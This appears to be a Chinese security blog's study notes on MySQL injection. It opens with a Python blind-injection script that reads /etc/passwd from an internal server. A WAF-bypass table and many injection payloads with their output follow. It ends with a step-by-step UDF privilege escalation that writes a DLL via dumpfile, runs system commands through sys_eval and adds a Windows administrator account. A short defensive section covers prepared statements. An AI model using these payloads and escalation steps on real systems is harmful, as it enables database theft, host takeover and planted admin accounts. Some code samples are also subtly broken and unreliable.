url = "http://10.112.193.178:7080/smallbss/bss/user/user!saveUserInfo.do"
headers = {
"Cookie": "JSESSIONID=BF491A0FD38F586CCC0D7BC608EC18D9; wy_login_user=; wy_login_pwd=;",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv: 62.0) Gecko/20100101 Firefox/62.0",
}
payload = """user_id=20181012000013 and (select ascii(substring(({select}),{id},1))>{ascii})"""
content = ""
for i in range(1, 1000):
l = 0
r = 127
while l < r:
mid = int((l+r)/2)
py = payload.format(id=i, ascii=mid, select="select load_file('/etc/passwd')")
res = requests.post(url, data=py, headers=headers)
if len(res.text) == 79:#ritght
l = mid+1
else:
r = mid
if l == 0:
break
content+=chr(l)
print content
print content
如下参考https://www.anquanke.com/post/id/160584
先来了解一下mysql的数据类型转化
官方文档
例如:
mysql> select user from user where user = 0;
+------------------+
| user |
+------------------+
| debian-sys-maint |
| mysql.session |
| mysql.sys |
| root |
+------------------+
4 rows in set, 4 warnings (0.00 sec)
mysql> select user from user where user = 1;
Empty set, 4 warnings (0.00 sec)
与php弱相等
的原理相同,是底层为了实现数据兼容,在出现不同数据类型进行计算或比较时会进行强制数据转换再进行操作
例如:
mysql> select ('admin' = 0);
+---------------+
| ('admin' = 0) |
+---------------+
| 1 |
+---------------+
1 row in set, 1 warning (0.00 sec)
mysql> select ('admin' = 1);
+---------------+
| ('admin' = 1) |
+---------------+
| 0 |
+---------------+
1 row in set, 1 warning (0.00 sec)
对于数字开头的字符串,转化为数字的结果就是截取前面的数字部分。同样也解释了没有数字开头的字符串转化为了0
。
mysql> select ('1a' = 1);
+------------+
| ('1a' = 1) |
+------------+
| 1 |
+------------+
1 row in set, 1 warning (0.00 sec)
mysql> select ('12a' = 1);
+-------------+
| ('12a' = 1) |
+-------------+
| 0 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select ('12a' = 12);
+--------------+
| ('12a' = 12) |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
根据上面的特性,可以达成异或盲注的效果。例如:
mysql> select user from user where user = 'root' ^ '1'='1';
Empty set, 5 warnings (0.00 sec)
mysql> select user from user where user = 'root' ^ '1'='0';
+------------------+
| user |
+------------------+
| debian-sys-maint |
| mysql.session |
| mysql.sys |
| root |
+------------------+
4 rows in set, 5 warnings (0.00 sec)
这里可以说明一下,这个查询的逻辑是('root' ^ '1'='1') = 0
--> select user from user where user = 0
这样的顺序,所以能够达到目标,所以我们可以构造这样的payload = root' ^ (substr(version(),1,1) > '4') ^ '1'='1'#
,这里结合了上面盲注提到的例如:
mysql> select user from user where user = 'root' ^ (substr(version(),1,1) > '4') ^ '1'='1';
+------------------+
| user |
+------------------+
| debian-sys-maint |
| mysql.session |
| mysql.sys |
| root |
+------------------+
4 rows in set, 5 warnings (0.00 sec)
mysql> select user from user where user = 'root' ^ (substr(version(),1,1) > '5') ^ '1'='1';
Empty set, 5 warnings (0.00 sec)
如上就能达到盲注的效果。
关于order by
实际上是结合了union联合查询和布尔盲注,我们来看看union+order+by
的效果
mysql> select * from test where id = 1 union select 1,2,3 order by 3;
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | 2 | 3 |
| 1 | HWHXY | a9312321be1235788 |
+----+----------+-------------------+
2 rows in set (0.00 sec)
我们知道order by 3
是根据第三个字段进行排序的,union select 也能控制放入虚表的内容,所以我们可以控制放入的内容进行排序例如:
mysql> select * from test where id = 1 union select 1,2,'b' order by 3;
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | b |
+----+----------+-------------------+
2 rows in set (0.00 sec)
mysql> select * from test where id = 1 union select 1,2,'a' order by 3;
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | 2 | a |
| 1 | HWHXY | a9312321be1235788 |
+----+----------+-------------------+
2 rows in set (0.00 sec)
所以根据这个特性我们可以做到盲注。
现在很多网站包括很多cms
,都没有统一使用一种编码,有的用gbk
,有的用utf8
,而这两种编码在汉字里面需要格外注意的一点就是,一个gbk
占用2字节,一个utf-8
占用3
字节。
一般的cms
对sql
注入进行转义,所以只要我们的参数在单引号里面,就没有办法进行注入。而宽字节注入也正是逃逸这样的转义的最好的方法。而对于宽字节注入讨论的范围是gbk
,像我们使用%df
逃逸’’.
而如果不是gbk
,如果是gbk2312
,则无法造成宽字节注入,因为gb2312
的取值范围,高位范围是0xA1~0xF7
,低位范围是0xA1~0xFE
,而\
是0x5c,不在低位的范围之中,所以不是gb2312的编码,所以可以这么认为,低位的范围包含0x5c的编码就可以进行宽字节注入。
上面介绍了见识过的注入方法,下面介绍注入技巧,技巧配合方法,才能达到最大的效果。
针对于不同的waf ,我希望制作一个waf bypass的表格,方便自己查询和结合。
+--------------+------------------------------------------------------+
| waf | pass |
+--------------+------------------------------------------------------+
| space | %0a,%20,/**/ |
| = | like,rlike,regexp |
| limit | group_concat |
| , | limit offset |
| , | from for / from -1 |
| , | join |
| blacklist | /**/,hex(),DoubleWrite,concat,concat_ws,group_concat |
| ' | hex(),CHAR() |
| safedog | one */ close more than one /* |
| chaitin | /*!*/ |
| su.baidu.com | -+%0a |
| aliyun | -+%0a,@,{a key} |
+--------------+------------------------------------------------------+
用法为:group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
简单的解释就是能够将多行的信息一行输出,例如:
mysql> select user from user;
+------------------+
| user |
+------------------+
| debian-sys-maint |
| mysql.session |
| mysql.sys |
| root |
+------------------+
4 rows in set (0.00 sec)
mysql> select group_concat(user) from user;
+-----------------------------------------------+
| group_concat(user) |
+-----------------------------------------------+
| debian-sys-maint,mysql.session,mysql.sys,root |
+-----------------------------------------------+
1 row in set (0.00 sec)
mysql> select mid(user() from 1 for 2);
+--------------------------+
| mid(user() from 1 for 2) |
+--------------------------+
| ro |
+--------------------------+
1 row in set (0.00 sec)
mysql> select mid(user() from -2);
+---------------------+
| mid(user() from -2) |
+---------------------+
| st |
+---------------------+
1 row in set (0.00 sec)
join注入
的思路就是先创建一个虚表,没有内容,然后将不同内容join
进去.
可以形象的理解为union select
注入的变种,只是可以不需要,
的操作。简单的做个示范,例如:
mysql> select id,username from test where 1>2 union select 1,2;
+----+----------+
| id | username |
+----+----------+
| 1 | 2 |
+----+----------+
1 row in set (0.00 sec)
mysql> select id,username from test where 1>2 union select * from ((select user())a join (select database())b);
+----------------+----------+
| id | username |
+----------------+----------+
| root@localhost | mysql |
+----------------+----------+
1 row in set (0.00 sec)
没找到对应的资料,暂时留个白
如下参考参考文档
例如:id = 1
这样的情况,如果是正常的注入payload
例如:id=1 union select 1,2,database()#
,根据不同的waf
位置来看讨论waf
。
例如:
mysql> select * from test where id =1.0union (select 1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
例如:
mysql> select * from test where id =\Nunion (select 1,2,database());
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | mysql |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)
例如:
mysql> select * from test where id =1e1union (select 1,2,database());
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | mysql |
+----+----------+----------+
1 row in set (0.00 sec)
例如:
mysql> select * from test where id =1/*aaa*/union (select 1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
同上
例如:
mysql> select * from test where id =1.0union(select 1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
%09,%0a,%0b,%0c,%0d,%a0
%09,%0a,%0b,%0c,%0d,%a0
同上
例如:
mysql> select * from test where id =1.0union(select(1),2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
mysql> select * from test where id =1.0union(select+1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
mysql> select * from test where id =1.0union(select-1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| -1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
mysql> select * from test where id =1.0union(select~1,2,database());
+---------------------+----------+-------------------+
| id | username | password |
+---------------------+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 9223372036854775807 | 2 | mysql |
+---------------------+----------+-------------------+
2 rows in set (0.00 sec)
mysql> select * from test where id =1.0union(select!1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 0 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
mysql> select * from test where id =1.0union(select@1,2,database());
+------+----------+-------------------+
| id | username | password |
+------+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| NULL | 2 | mysql |
+------+----------+-------------------+
2 rows in set (0.00 sec)
其中关于@
这个符号,可以介绍一下:作用是赋值给一个变量。第一种方式主要是用set
关键词。
mysql> set @var1=1,@var2=2,@var3=(select version());
Query OK, 0 rows affected (0.00 sec)
mysql> select @var1,@var2,@var3;
+-------+-------+-------------------------+
| @var1 | @var2 | @var3 |
+-------+-------+-------------------------+
| 1 | 2 | 5.7.23-0ubuntu0.16.04.1 |
+-------+-------+-------------------------+
1 row in set (0.00 sec)
第二种方式,select
直接赋值,在sql注入中这种方法用的比较多。例如:
mysql> select @var1:=1,@var2:=3,@var3:=(select version());
+----------+----------+---------------------------+
| @var1:=1 | @var2:=3 | @var3:=(select version()) |
+----------+----------+---------------------------+
| 1 | 3 | 5.7.23-0ubuntu0.16.04.1 |
+----------+----------+---------------------------+
1 row in set (0.00 sec)
关于注释符,这里实验的时候还出现了一些小问题,例如:
测试/*!50000select*/
的时候执行了select
mysql> select * from test where id =1.0union(/*!50000select*/1,2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.00 sec)
而我在测试/*!5000select*/
时,发生了错误:
mysql> select * from test where id =1.0union(/*!5000select*/1,2,database());
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '5000select*/1,2,database())' at line 1
这就引发了一场讨论,讨论的结果发现,当这个数字为五位数,并且小于50724
时能够运行/*!*/
内的代码,例如:
mysql> select /*!50724version()*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> select /*!50723version()*/;
+-------------------------+
| version() |
+-------------------------+
| 5.7.23-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
而50723
就是mysql
的版本5.7.23
,也就是说只要该数字小于该数字,那么如果小于了五位数会发生什么呢,例如:
mysql> select /*!9999version()*/;
ERROR 1305 (42000): FUNCTION mysql.9999version does not exist
我们发现,将注释代码和我们要查询的代码进行拼接,整体的带入查询了,所以没有查出东西。还有一个特性
就是00000
也是可以实现的,所以可以初步认为是一种格式,必须是五位数,并且小于当前mysql
版本的格式才能实现这样的注入。
{x 1}
大括号例如:
mysql> select * from test where id =1.0union(select{x 1},2,database());
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
| 1 | 2 | mysql |
+----+----------+-------------------+
2 rows in set (0.01 sec)
这里的{x 1}
到底是什么意思呢?
我们可以在官方文档中找到对应的说法。
实际上这种写法是一种兼容OBDC的写法,而不是正规的sql语法。
类似于这种
SELECT * FROM table1 WHERE datefield = {d '1995-09-12'}
,d表示格式。例如:Date {d 'yyyy-mm-dd'} , Time {t 'hh:mm:ss'}
我在本地测试了一下,对于mysql
没有格式的严格校验。
mysql> select {a version()}
-> ;
+-------------------------+
| {a version()} |
+-------------------------+
| 5.7.23-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
例如:
mysql> select * from`test`;
+----+----------+-------------------+
| id | username | password |
+----+----------+-------------------+
| 1 | HWHXY | a9312321be1235788 |
+----+----------+-------------------+
1 row in set (0.00 sec)
综上,关于我脑子里的sql注入
的攻击手段,忽略留白处算是告一段落了,还有一些绕waf
的tips
会慢慢的补充,接下来一段时间,我会思考一下sql的
防范,以及后端的代码的写法。
php配置文件php.ini
中的display_error=off
就可以关闭错误提示。
魔术引号,同样存在php配置文件php.ini
中,phpstudy可以直接参数设置。其作用是对用户提交的所有变量的单引号,双引号,反斜杠,null进行自动的转义。但是要注意的是,这个配置只针对于所有的GET,POST,COOKIE值,如果是header的其他地方能够入库,则无法防御。
addslashes
函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号(’)、双引号(")、反斜线()与 NUL(NULL 字符)。作用和上述的magic_quotes_gpc
相同。
所以在使用该函数的时候需要判断配置是否开启magic_quotes_gpc
,双重使用则需要使用stripslashes
消除多余的,很蠢。
html实体,转义的字符有五个如下
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
万不得已,别用这个,waf都比你强。
查询之前先进行数据类型的检测,intval()检测int类型。
预编译语句是预防sql注入的最好的方式了吧,但是听人说过预编译也是可以逃逸的,这里留个白。
能够防护的原因在于预编译的sql
语句的语义不会改变,变量使用?表示,攻击者没有办法改变sql语句的结构,从根本上杜绝了sql注入
.例如:
header('Content-type:text/html;charset=UTF-8');
$servername = "localhost";
$username = "root";
$password = "root";
$username = isset($_GET['username']) ? $_GET['username'] :'';
$userinfo = array();
if $(username){
$conn = mysqli_connect($servername, $username, $password);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
else{
$sql = "SELECT id,username FROM user where username =?";
$stmt = $conn->prepare($sql);
//s表示string
$stmt->bind_param("s",$username);
$stmt->execute();
//output
$stmt->bind_result($id,$username);
while ($stmt->fetch()){
$row = array();
$row['id'] = $id;
$row['username'] = $username;
$userinfo[] = $row;
}
}
}
echo ''
,print_r($userinfo,1),'';
?>
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
关于这个修复是p神在修复宽字节注入的时候给出的修复方案。目的是为了在接受到参数进行binary传递数据,避免了因为单引号逃逸造成的宽字节注入。但是这个手段要避免使用iconv
进行编码转换,否则会失效,具体原因不想讲。
我们在能够执行数据库操作的时候,如果能使用file
读写,实际上有时候还是不够的还是需要通过一些手法进行提权。(长亭面试问道,差点忘了)
UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能,这里自定义的形式是写成dll
的插件,如果是linux
则是so
文件。
在Mysql5.1
及以上版本必须将DLL文件上传到mysql
安装目录下的lib/plugin
文件夹下才能创建自定义的函数。,而默认情况下plugin
并不存在,我们通过查看show variables like '%plugin%'
mysql> show variables like '%plugin%';
+---------------+-----------------------------------------------------------+
| Variable_name | Value |
+---------------+-----------------------------------------------------------+
| plugin_dir | F:\development\PHP\PhpStudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-----------------------------------------------------------+
1 row in set (0.00 sec)
但是实际上文件夹并不存在,如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WdJAgkbH-1611628250729)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/udftiquan.png)]
那么这个时候需要我们用webshell自行创建一个dir
,路径已经通过上面给出,使用mkdir path
即可。
ok,第二步我们需要做到保证lib/plugin
里面有一个dll
文件可以控制。也就是我们有两种思路,一种是直接上传一个dll
到lib/plugin
但是这样肯定行不通,因为权限很有可能不够,另一种就是先获得dll
的内容,然后用dumpifile
写入。这种方法看起来更靠谱一些,那么我们现在就缺一个dll
了。
我在进行信息收集的时候发现https://blog.csdn.net/x728999452/article/details/52413974
sqlmap存在自带的dll
,但是有位数的限制,可以通过mysql --help | find "Distrib"
进行查看。然后根据网上的方法,clock.py
解密可以看到已经得到dll文件
了,保存下来吧,循环使用,环保!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bIoiS3gZ-1611628250731)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/udftiquan2.png)]
我们将dll
的hex
保存成dll.txt
,如:
mysql> select hex('D:\\Python27\\sqlmap\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll');
+--------------------------------------------------------------------------------------------------------------------------+
| hex('D:\\Python27\\sqlmap\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll') |
+--------------------------------------------------------------------------------------------------------------------------+
| 443A5C507974686F6E32375C73716C6D61705C7564665C6D7973716C5C77696E646F77735C33325C6C69625F6D7973716C7564665F7379732E646C6C |
+--------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select hex(load_file(0x443A507974686F6E323773716C6D61707564666D7973716C77696E646F777333326C69625F6D7973716C7564665F7379732E646C6C)) into dumpfile 'C:\dll.txt';
Query OK, 1 row affected (0.01 sec)
mysql>
当然也可以直接用hex然后直接写也行但是这样我能看起来更加清爽,然后我将dll.txt
上传至网站根目录,然后用同样的方法写入即可。
这里的load_file
地址写你上传的dll.txt
地址,或者直接复制十六进制
.
mysql> select unhex(load_file('C:\dll.txt')) into dumpfile 'F:\development\PHP\PhpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll';
Query OK, 1 row affected (0.01 sec)
ok,成功一大半了,开始最后一步。
现在我们可以通过动态链接库来创建函数了,那么我们可以创建哪些函数呢?如下:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
当然我们最希望的是控制cmd
了来试试。
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'
可以看到创建成功
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
Query OK, 0 rows affected (0.02 sec)
执行命令!SELECT sys_eval('cmd');
mysql> SELECT sys_eval('whoami');
+-----------------------+
| sys_eval('whoami') |
+-----------------------+
| desktop-3fjoq5b\hwhcz |
+-----------------------+
1 row in set (0.38 sec)
我们来试试提权!
mysql> SELECT sys_eval('net user hwhxy hwhxy /add');
+---------------------------------------+
| sys_eval('net user hwhxy hwhxy /add') |
+---------------------------------------+
| 命令成功完成。
|
+---------------------------------------+
1 row in set (0.51 sec)
mysql> SELECT sys_eval('net localgroup administrators hwhxy /add');
+------------------------------------------------------+
| sys_eval('net localgroup administrators hwhxy /add') |
+------------------------------------------------------+
| 命令成功完成。
|
+------------------------------------------------------+
1 row in set (0.43 sec)
真是太残暴了,还是赶快把这个函数删了先,drop function sys_eval
。
至此udf
提权全部讲完,最后讲讲限制,虽然应该开头讲,但是无访,有两点,root用户登陆,windows
此提权方法也是在长亭面试的时候问到,但是之前没有接触过,特地来学习记录一番。